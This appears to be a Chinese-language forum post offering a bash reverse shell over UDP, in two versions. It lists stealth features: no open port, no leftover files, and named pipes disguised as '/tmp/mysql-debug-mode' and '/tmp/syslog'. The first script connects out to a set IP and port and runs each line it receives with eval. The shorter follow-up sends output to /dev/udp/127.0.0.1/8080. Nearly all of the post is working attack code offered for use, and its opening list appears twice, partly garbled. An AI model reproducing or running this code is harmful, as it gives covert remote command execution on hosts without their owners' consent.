* 无端口 * 成功启动后无残余文件 * 一般情况下没有UDP单包512字节的问题。当然你要是执行奇葩的命令我也没办法 * 非交互式shell,也就是说,你不能用回车来写多行命令。这个问题不是不能解决,而是如果解决这个问题,会造成另外一个我不能忍受的问题。而且反
* 无端口
* 成功启动后无残余文件
* 一般情况下没有UDP单包512字节的问题。当然你要是执行奇葩的命令我也没办法
* 非交互式shell,也就是说,你不能用回车来写多行命令。这个问题不是不能解决,而是如果解决这个问题,会造成另外一个我不能忍受的问题。而且反正可以执行命令了,自己另外反弹一个可交互的shell就是了
* 由于某些bash特性和某些我不能忍受的功能,某些子进程会在链接断开或者输入exit指令一段时间之后才会自动退出
图就不贴了,大家自己玩
#!/bin/bash
REVIP=127.0.0.1
REVPORT=8080
PIPE=/tmp/mysql-debug-mode
PIPE2=/tmp/syslog
TIMEOUT=20
rm -rf $PIPE
mknod $PIPE p
rm -rf $PIPE2
mknod $PIPE2 p
function KeepAlive(){
rm -rf $PIPE
rm -rf $PIPE2
while [ 1 == 1 ]
do
sleep $TIMEOUT
echo Connection: keep-alive or die
done
}
function DoRealShell(){
KeepAlive &
PIDALIVE=$!
while read line
do
if [ "$line" == "exit" ]
then
kill $PIDALIVE
kill $PIDCONN
kill $$
exit
fi
echo executing command: $line
eval $line
done
kill $PIDALIVE
kill $PIDCONN
kill $$
exit
}
function Shell(){
LENGTH=0
DoRealShell | while read line
do
echo $line
done
}
function StartShell(){
Shell >$PIPE2 2>&1
}
function MakeConn(){
echo Welcome back
cat $PIPE2 &
cat - >$PIPE &
}
MakeConn &0 1>&0
PIDCONN=$!
StartShell
rm -rf $PIPE
rm -rf $PIPE2
又研究了一下,其实根本没有那么复杂,而且完美解决退出和多行的问题,上个帖子你们就忽略吧 ‘
#!/bin/bash
exec 3>/dev/udp/127.0.0.1/8080
exec 2>&3
exec 1>&3
echo Welcom back
cat 0